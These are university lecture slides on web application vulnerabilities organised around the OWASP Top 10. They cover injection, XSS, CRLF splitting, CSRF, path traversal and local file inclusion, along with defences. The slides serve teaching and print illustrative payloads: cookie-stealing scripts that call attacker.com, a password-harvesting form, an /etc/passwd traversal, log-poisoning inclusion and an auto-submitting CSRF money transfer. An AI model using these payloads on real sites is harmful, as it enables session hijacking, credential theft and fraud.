WEB APPLICATION

VULNERABILITIES
Software Security
Pedro Adão 2023/24
(with Ana Matos & Miguel Pupo Correia)

Book: Chapter 6 (v1) / Chapter 8 (v2)

2
Motivation
• Web suffers from all the 3 causes of trouble:
– complexity, extensibility, connectivity

• Not 1 technology but a “blob” of technologies

– HTTP, HTTPS, HTML, browsers, servers, XML, PHP, JavaScript,
Java, ASP.NET, SQL, frameworks,…

• Many vulnerabilities reported and exploited

– OWASP Project Top 10 Vulnerabilities 2010
3
WWW introduction (1)
• Replication for
availability and
performance
• N-tier architecture:
HTTP / HTTPS / SOAP presentation, business,
(over TCP/IP) data tiers
Client • Cloud
Server
(browser)

• Browsers, mobile Apps • Servers, Node.js, Backend-as-a-Service,…

• HTML(5) / pics / audio / video • Static content: HTML, pics, audio, vid
• Dynamic content:
• JavaScript, WebAssembly, several transpiled
to JS (TypeScript,…) • Server-side scripting (PHP, ASP, CFML,
JSP, JS, Python); compiled “scripts”
• ActiveX / Java / Flash / … (Java servlets, ASP.NET)
• Browser extensions • Frameworks (Django, Hibernate, Struts,
Spring,…)
• Old stuff: CGI, Server-Side Includes
• Both sides: Google Web Toolkit (SSI), Extensible Stylesheet Language
Transformation (XSLT)

4
WWW introduction (2)
• two types of HTTP messages: request, response
• HTTP request message:
– ASCII (human-readable format) carriage return character
line-feed character
request line
(GET, POST, ... GET /index.html HTTP/1.1\r\n
commands) Host: www.tecnico.ulisboa.pt\r\n
header User-Agent: Firefox/3.6.10\r\n
lines Accept-Language: en-us,en;q=0.5\r\n
Connection: keep-alive\r\n
\r\n
carriage return,
line feed at start optional body goes here
of line indicates (no body in GET requests)
end of header lines 5
WWW introduction (3)
• web pages often include forms; how is input sent to server?

POST method:
• input is sent to the server in the body of the request

GET method:
• input is sent to the server in the URL in the request

www.site.com/animalsearch.php?animal=monkey&food=banana

params = {“animal”:”monkey”, “food”:”banana”}

6
WWW introduction (4)
• Basic model is stateless, i.e., server keeps no state
– …but state is needed in all but basic Web applications
– Example state information:
– is the user logged in?
– which is the user’s account?…

• State tracking:
– Basic idea: server gives client an ID that it has to include in every
request (server stores state info for each ID)
– In practice this is not so simple and has historically generated many
vulnerabilities

7
OWASP Top 10 vulnerabilities

8
A03-Injection Flaws
• Several kinds:
– SQL Injection (most prevalent, but we leave it for next class)
– Others: XML, LDAP, XPath, XSLT, HTML, OS command
injection, etc
• Main idea: web server accepts input that is badly
interpreted by some interpreter
– Examples of interpreters: DBMS, XML, LDAP,…

9
XML injection
A password file: Final password file:

<users> <users>
<user> <user>
<name>alice</name> <name>alice</name>
<pwd>foo</pwd> <pwd>foo</pwd>
</user> </user>
<user> <user>
<name>bob</name> <name>bob</name>
<pwd>bar</pwd> <pwd>bar</pwd>
</user> </user>
</users> <user>
<name>eve</name>
User bob (malicious) changes his own password to: <pwd>baz</pwd>
</user>
bar</pwd></user><user><name>eve</ </users>
name><pwd>baz

10
PHP code injection / OS command inj.
• Real example: Yahoo! vulnerability (Jan. 2014)
• eval is a PHP function that executes PHP code
– If input is passed into eval…

• Attack: http://tw.user.mall.yahoo.com/rating/list? sid=$

{@print(system($_SERVER['HTTP_USER_AGENT']))}
– @ disables errors
– print prints
– system executes shell command, like the system function in C
– $_SERVER[‘HTTP_USER_AGENT'] reads the header’s User-Agent field
– Effect: what comes in the User-Agent is executed in a shell and the result inserted in the
resulting web page
http://www.sec-down.com/wordpress/?p=87 11
A03 – Cross Site Scripting (XSS)
• Widespread and pernicious web app security issue

• Allows attacker to execute script in the victim’s browser

– Scripting language is typically JavaScript (JS), but others possible

OWASP Top 10 2013 and 2017: Broken Authentication and Session Management [A3]
changed places with XSS [A2] because the impact is higher, but there are more XSS
vulnerabilities

12
XSS types
1. Reflected XSS (or non-persistent)
page reflects user supplied data directed to the user’s browser
PHP: echo $_REQUEST[‘username’];
ASP: <%= Request.QueryString(“username”) %>

2. Stored XSS (or persistent)

– hostile data (script) is stored in a database, file, etc., and is later sent to user’s
browser
– dangerous in systems like blogs, forums, social networks

3. DOM based XSS (Document Object Model)

– manipulates JavaScript code and attributes instead of HMTL

13
 1- Reflected XSS
• Cross-site scripting (XSS)
– User does not trust email scripts but trusts a (vulnerable) site
– The idea is to make a user trust untrustworthy data from server

email Attacker
Victim:
URL w/
evil scri
pt
“click here” vulnerable web application that shows
g e w /evil the queried string
pa le cted
re f
script http://www.vulnerable.com/?search=
%3Cscript%3Ealert%28%22hello%22%29%3C%2Fscript%3E

Search query is a script that pops up window with hello

browser runs evil script <script>alert(“hello”)</script>
14
1- Reflected XSS
Normal request:

http://www.vulnerable.com/welcome.php?name=Joe

>
Response page:

<HTML>
<Title>Welcome!</Title>
Hi
Joe<BR>
Welcome to our system
...
</HTML>

15
1- Reflected XSS
Normal request:

http://www.vulnerable.com/welcome.php?name=<script>alert(“hello”)</script>

> This is a simplification. It should be URLencoded

Response page: <script>alert%28"hello"%29<%2Fscript>

<HTML>
<Title>Welcome!</Title>
Hi
<script>alert(“hello”)</script><BR>
Welcome to our system
...
</HTML>

16
Useful script: getting cookies
Cookies often used as session IDs, so if hacker gets them…

Normal request:

http://www.vulnerable.com/welcome.php?name=
<script>window.open(“http://www.attacker.com/collect.php?cookie=”+document.cookie)</script>

>
This JS script sends a request to
Response page: www.attacker.com/collect.php
with the values of the cookies the
<HTML> browser has for www.vulnerable.com
<Title>Welcome!</Title>
Hi <script>
window.open(“http://www.attacker.com/collect.php?cookie=”+document.cookie)
</script><BR>
Welcome to our system
... Cookies may have the HttpOnly attribute set
</HTML> In this case, they cannot be accessed via JS
17
Useful script: getting user/pass
Vulnerable ASP page (reflects “name” param. in URL)
<HTML>
<Title>Welcome!</Title>
Hi <%= Request.QueryString(“name”) %>!<p>
...

Request for user/passwd and send it to web server at 1.2.3.4

http://vulnerable.com/welcome.asp?name=jim!<form action="1.2.3.4">
<p>Enter Password:<br><input name="password">
<br><input type=“submit"></form>

%3Cform%20action=%221.2.3.4%22%3E%0A
%3Cp%3EEnter%20Password:%3Cbr%3E%3Cinput%20name=%22password%22%3E%0A
%3Cbr%3E%3Cinput%20type=%22submit%22%3E%3C/form%3E

18
Obfuscating the script
A request to a site that displays username after log in:
http://vulnerable.com/welcome.php?name=Joe

Inserting a script is suspicious so perform URL encoding:

http://vulnerable.com/welcome.php?name=
%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%22%68%74%74%70%3
a%2f%2f%77%77%77%2e%61%74%74%61%63%6b%65%72%2e%63%6f%6d%2f%63%6f%6c%6c%65%63%74%2e%70%68%70%3f%
63%6f%6f%6b%69%65%3d%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74
%3e%20

This will run like:

http://vulnerable.com/welcome.php?name=
<script>document.location="http://www.attacker.com/collect.php?
cookie="+document.cookie</script>

19
 2- Stored XSS
• Scripts can be similar to the previous ones
Attacker

evil scr vulnerable web application

ipt
stores the script and
later sends to the script stored by the
attacker to everyone that accesses the page

page
w eb
n
c r ipt i
s
evil

browser runs evil script

20
à
à
3- DOM based XSS
• In a browser, the HTML page is represented by a DOM object
– Document Object Model, W3C
• HTML and scripts can access attributes of that object:
– document.URL
– document.location
– document.referer
– document.cookie
– ...
• Vulnerability: site with HTML page with JavaScript script that does client-
side logic with an attribute
– e.g., document.URL

21
DOM based XSS example
Page at http://www.vulnerable.com/welcome.html

<HTML><TITLE>Welcome!</TITLE>
Hi <SCRIPT>var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT><BR>
Welcome to our system...</HTML>

Normal request:
http://www.vulnerable.com/welcome.html?name=Joe

Malicious request:
http://www.vulnerable.com/welcome.html?name=<script>alert(document.cookie)</script>

The client’s browser interprets the script (not the server)

and puts part of the URL in the page, in this case <script>alert(document.cookie)</script>
22
XSS types comparison
• Reflected XSS
– Victim sends URL+script to the server
– Server puts the script in the HTML (PHP, ASP,…)
– Server sends HTML+script to the client’s browser
Server injects the script
• Stored XSS
– Hacker puts script in the server
– Later, the server puts the script in the HTML (PHP, ASP,…)
– Server sends HTML+script to the client’s browser
• DOM based XSS
– Victim sends URL+script to server
Client injects the script
– Server sends HTML+script to client’s browser
– Victim’s browser puts the script in the HTML using DOM
23
XSS vs the script tag
Scripts do not have to be inside script tags:

<body onload=alert('bum!')>

<b onmouseover=alert('bum!')>click me!</b>

<img src=“http://somesite.com/not_exist" onerror=alert('bum!');>

24
XSS in error pages
Web page to display 404 error (page not found)
<html><body>
<? php print "Not found: " . urldecode($_SERVER["REQUEST_URI"]); ?>
</body></html>

Normal input / output:

http://somesite.com/file_which_does_not_exist
Not found: /file_which_does_not_exist

Malicious input / output:

http://vulnerable.com/<script>alert(“TEST");</script>
Not found: /<script>alert(“TEST");</script>
25
CRLF injection (1)
Similar to reflected XSS but injection is in the response header
in reflected XSS the injection is in the responde body

The attacker inserts a carriage return (CR) and a life feed (LF)
creating a new field in the header, or
a second response  HTTP response splitting

Performed like a reflected XSS

Attacker sends the victim a URL of a vulnerable website

A typical example is a page that does a redirection

301 (Moved Permanently), 302 (Found), 303 (See Other), 307 (Temporary Redirect)
Browser thinks the 2nd response comes from the redirection
 CRLF injection (2)
Example JSP page that sends a redirection response:
response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter("lang"));

Response with legitimate input lang=English

HTTP/1.1 302 Moved Temporarily in the header
Date: Wed, 24 Dec 2013 12:53:28 GMT
Redirect Location: http://10.1.1.1/by_lang.jsp?lang=English
Content-Type: text/html
...

HTTP/1.1 200 OK
Date: Wed, 24 Dec 2013 12:53:28 GMT
Content-Type: text/html; charset=utf-8
Result of
redirection
Content-Length: XYZ
Connection: Keep-Alive

<html>…</html>
CRLF injection (3)
Bad input (instead of lang=English)

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0a
HTTP/1.1%20200%20OK%0d%0a Shown in different
Content-Type:%20text/html%0d%0a lines for convenience
Content-Length:%2017%0d%0a%0d%0a<html>BUM!</html>…

Split response
HTTP/1.1 302 Moved Temporarily browser thinks this is
Date: Wed, 24 Dec 2013 15:26:41 GMT the reply to the request
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
And that this is the result of the redirection
HTTP/1.1 200 OK
Content-Type: text/html Can also hit other users:
Content-Length: 17 Cross-User Defacement: 2 users using a proxy,
proxy sends the 2nd response to the other user
<html>BUM!</html> Cache Poisoning: proxy stores 2nd response and
resends it later
Malicious script goes here!
Protection from XSS (I)
Input validation (at the server)
• Validate input data length, type, syntax, business rules
• Accept known good / whitelisting
• Decode and canonicalize input before validating
Strong output encoding
All user supplied data has to be encoded

<script>alert(“TEST");</script>

should be transformed in

&lt;script&gt;alert(&quot;TEST&quot;);&lt;/script&gt;

29
Protection from XSS (II)
Content Security Policy (level 2)
W3C recommendation (level 3 published recently)
Allows mitigating XSS, but not 1st line of defense
Server delivers a policy to the client in 2 header fields:
Content-Security-Policy – client must enforce policy
Content-Security-Policy-Report-Only – monitoring only

Policy for preventing XSS

script-src allows to limit the potential sources from where JS content can be loaded
unsafe-inline allows JS code to be inlined in the HTML (as seen in the previous attacks)

30
Input Validation Vulnerabilities
A1 and A2 are input validation vulnerabilities
i.e., proper validation would remove the vulnerability
Similar patterns in code: propagates taintedness:
input is always potentially tainted
missing other sensitive
read input
validation instructio sink
]; …; q)
;
’ u $
er s .$ ” y(
r
‘u C T… ue
………………..………SQL
GE
T [ injection…………………………………………………..
EL
E l_
q
$_ “S y sq
= ; = m
$u r ’] $ q r
=
se u;
$
[ ‘u $ ;
…………………….Cross
G ET Site Scripting……….………………………………………
i
”. $ q)
$_ “H o(
= = e ch
$u $q 31
Broken Authentication and Session Management
HTTP stateless but state needed => sessions
E.g., shopping cart in online shopping application

Basic idea:
User authenticates himself (login page)
A session starts
Server stores user info and state of the session in a table

There can be several vulnerabilities

32
State tracking mechanisms
Key idea: server sends the browser an ID to be included in every
request

Session hijacking: attacker discovers a session ID and is able to use that

ID to impersonate the victim’s session

Prevention: IDs have to be:

Unpredictable – to avoid attackers from guessing it and do session hijacking
Have an expiration time – to mitigate session hijacking
State tracking mechanisms
Cookies
Small pieces of data stored in the browser
Name and value (content of the cookie)
Expiration date/time
Path and domain – browser sends cookies to URLs from the domain + within the path
Secure – cookie sent only over HTTPS (not HTTP)
HttpOnly - cookies cannot be accessed via JS
SameSite - More later

Created by Set-Cookie field in the HTTP the response header

Sent in the Cookie field in the HTTP the request header
Historically problematic, ambiguous semantics, RFC always evolving (6265)
35
Session management in practice
• Sessions are implemented by most current server-side scripting
languages to track state
– PHP, Django, JSP, ASP.NET,…
– They implement automatically what was explained before, i.e., manage
cookies on behalf of the programmer
• They are well tested so using the API defined in the language is
recommended
– In PHP: session_start(), session_destroy()
– Problems still appear so being aware of best practices is important (e.g.,
several cases with PHP)
A4 – Direct Object Reference
• Vulnerability: site exposes a reference to an internal object and
no proper access control
– Ex. of objects: file, directory, database record, key (URL, form parameter)
– The attacker can manipulate these references to access other objects
without authorization

37
Direct object reference – file
Direct reference to file in web page:
<select name="language"><option value="fr">Francais</option

Processed by PHP this way:

require_once($_REQUEST[‘language’]."lang.php");

i.e., access to http://website.com/page.php?language=fr loads file frlang.php

An attacker can access a different file via a path traversal attack:

http://website.com/page.php?language=../../../etc/passwd%00
(%00 injects \0 – nul char injection)

38
Direct object references – key
Direct reference to key in database
int cardID = Integer.parseInt(request.getParameter("cardID"));
String query = "SELECT * FROM table WHERE cardID=" + cardID
An attacker can provide any cardID

Real case (2000):

Australian Taxes Office had an assistance site
Users access their data using their tax id, which was a reference to an internal object (a
database key)
A legitimate but hostile user accessed info about 17K companies

39
Direct object references – protection
Protection:
Never expose object references, e.g., access database using
session ID
Do proper access control, i.e., check if user has access to data

40
A5 – Cross Site Request Forgery (CSRF)
Alternative names:
XSRF, Session Riding, …
Case of confused deputy attack: a program is fooled by an attacker into
misusing its authority
Vulnerability:
Many sites do certain actions based on automatically submitted, fixed, ID,
typically a session cookie
Attack:
force user to execute unwanted actions in a vulnerable site in which he/she is
authenticated
can be done by sending a link by email or chat
41
CSRF (I) attacker

malicious link vulnerable site

(emails, img tag) vulnerable.com

victim
(logged in) session identified by a cookie,
is sent with requests
(this is a simplification.
Current browser protections
may prevent this attack)
Victim is logged in vulnerable.com
Victim follows attacker’s link (by clicking it in an email, accessing attacker.com, …) containing

<img src= “http://vulnerable.com/transfmoney?quant=10000&dest=ATTACKER" width="0" height="0">

Illustrated as GET
for simplification
The victim’s browser sends this request to the web server with the victim’s session cookie
The site vulnerable.com accepts the request because it has the valid session cookie
42
CSRF (II)
Obfuscating malicious link:

<img src="https://attacker.com/picture.gif" width="0" height="0">

Where attacker.com is a site that redirects attacker.com/picture.gif to

http://vulnerable.com/transfmoney?quant=10000&dest=ATTACKER

43
CSRF (III) — Protection

• Same as for XSS

• Solution: insert a value that is not automatically sent to the server

• server adds a nonce (large random number), aka a CSRF token, in a hidden field in a form
• server does not accept the operation if this nonce is not sent back in request:

<input type="hidden" name="_csrf" value="ddee4454xerAFW45ex">

• For critical actions just re-authenticate

• Cookies are attached to Cross-site requests depending on the value of the SameSite attribute
• Strict will never be sent
• Lax are sent in top-level navigations (default if no value is set)
• None do behave as before
44
CSRF (IV)
<html>
<head>
<script type='application/javascript'>
Can be hidden in a 0-sized iframe
function execute() {
var form = document.getElementById('attack');
<iframe src="attack.html" width="0" height=“0">
if (form) { form.submit(); }
</iframe>
}
</script>
</head>
<body onload="execute()">
<form action='http://vulnerable.com' method='POST' id='attack'>
<input type='hidden' name='quant' value='100000'/>
<input type='hidden' name='dest' value='ATTACKER'/>
<input type='submit'/>
</form>
</body>
</html>

45
A6 – Security misconfiguration
• Misconfiguration vulnerabilities can exist at any level
– OS, web server, application server, framework, custom code

• Attacker can access several things to gain unauthorized access

to or knowledge of the system
– default accounts (even with low privileges),
– unused pages,
– unpatched vulnerabilities,
– unprotected files and directories,
– etc.
Security misconfiguration (cont.)
• More examples
– Default account isn’t changed; attacker can use it to login
– Patch of an open source webapp not installed (e.g., phpmyadmin, Joomla, Wordpress,
their plugins…)

• Protection: automated scanners

– useful tools for detecting missing patches, misconfigurations, use of default accounts,
unnecessary services, etc.
– Ex: Nikto, w3af

47
A7 – Failure to Restrict URL Access
• Vulnerability:
– Pages that are “protected” simply by being inaccessible from the “normal” web tree
(security by obscurity); examples:
• “Hidden” URLs for administration that in fact are accessible to anyone that knows about them (e.g., /admin/
adduser.php)
• “Hidden” files such as static XML or system generated reports

• Attack:
– forced browsing: guess links and brute force to find unprotected pages

• Protection:
– Good access control
– No “hidden” pages as form of protection
• Eg, make sure admin-only pages are only accessible to admins instead of hidding it
48
A8 – Unvalidated Redirects and Forwards
• Applications frequently redirect users to other pages
– Sometimes the target page is specified in an unvalidated parameter,
allowing attackers to choose the destination page
– May fool the victim into believing that it is accessing a safe website, when
it is accessing a malicious site  for phishing or to install malware
Unvalidated Redirects and Forwards (2)
• Example
– App has page called redirect.jsp which takes a single parameter named url
– Attacker crafts a malicious URL that redirects users to a malicious site that performs
phishing and installs malware; url looks good except for the end

http://www.vulnerable.com/redirect.jsp?url=evil.com

50
Unvalidated Redirects and Forwards (3)
• Example
– App has a page config.php with some restricted access
– App has page called end.php which takes a single parameter named url and redirects it to
end1.php, end2.php, or end3.php
http://www.vulnerable.com/end.php?url=end1.php

– Attacker crafts a malicious URL that redirects end to config.php

http://www.vulnerable.com/redirect.jsp?url=config.php

• Prevention:
– avoid redirects/forwards; avoid using inputs in them; validate inputs
51
A9 – Insecure Cryptographic Storage
• Vulnerabilities (most common):
– Sensitive data not encrypted
– Use of home grown algorithms. BAD! VERY BAD IDEA!
– Use of known weak algorithms (MD5, RC3, RC4,…, SHA-1)
– Good algorithms badly used
– Hard-coding keys and storing keys in unprotected stores
• Protection:
NIST SP 800-131A “Transitioning the
– Do the contrary… Use of Cryptographic Algorithms and
Key Lengths”, Revision 2, March 2019

52
A10 – Insecure Transport Layer Protection
• Vulnerability:
– Sensitive traffic not encrypted (over Internet and backend)
– Authenticated sessions not encrypted
– HTTPS used only for authentication, not afterwards

• Protection:
– Use HTTPS

53
Extra: Local file inclusion (PHP)
• Also allows running PHP code at the server
– Became popular when RFI became harder
– If not possible to provide remote file, just provide a local one…
• How to insert a bad file at the server:
– Upload if site allows it (pdf or another, the file extension doesn’t matter)
– Insert it in the log: http://vulnerable.com/<?php+phpinfo();+?>
 file does not exist so request is logged in error_log (Apache)
• Vulnerable site – the same (http://vulnerable.com):
$country = $_GET[‘Country’];
include( $country . ‘.php’ );

• Mallicious use:
http://vulnerable.com/main.php?Country=/var/log/httpd/error_log%00
The PHP runtime executed PHP and disregards the rest
54
Extra: Improper error handling
• Example, just by asking for non-existing page:
Not Found
The requested URL /page.html was not found on this server.
Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.7g DAV/2 PHP/5.1.2
Server at localhost Port 80
– Next the attacker can go looking for vulnerabilities in these packages/versions

• Protection:
– Define homogeneous error handling procedures
– Limit error information

55
Extra: Browser security
• Raising interest more recently, but not less important
• Vulnerabilities in the browser allows attacks
– e.g., at engines of: Java, ActiveX, Flash
• Some attacks
– Drive-by download / drive-by malware – visiting a website that contains a
page that exploits a vulnerability that installs malware
– Malicious plug-ins, applets, ActiveX controls, fake codecs…
– Man-in-the-Browser (MitB) – malware that infects the browser and
modifies pages, transactions, etc.

56
Summary
• WWW basics
• Top 10 vulnerabilities:
– injection, XSS, authentication / session management, direct object
reference, …
• Other vulnerabilities

57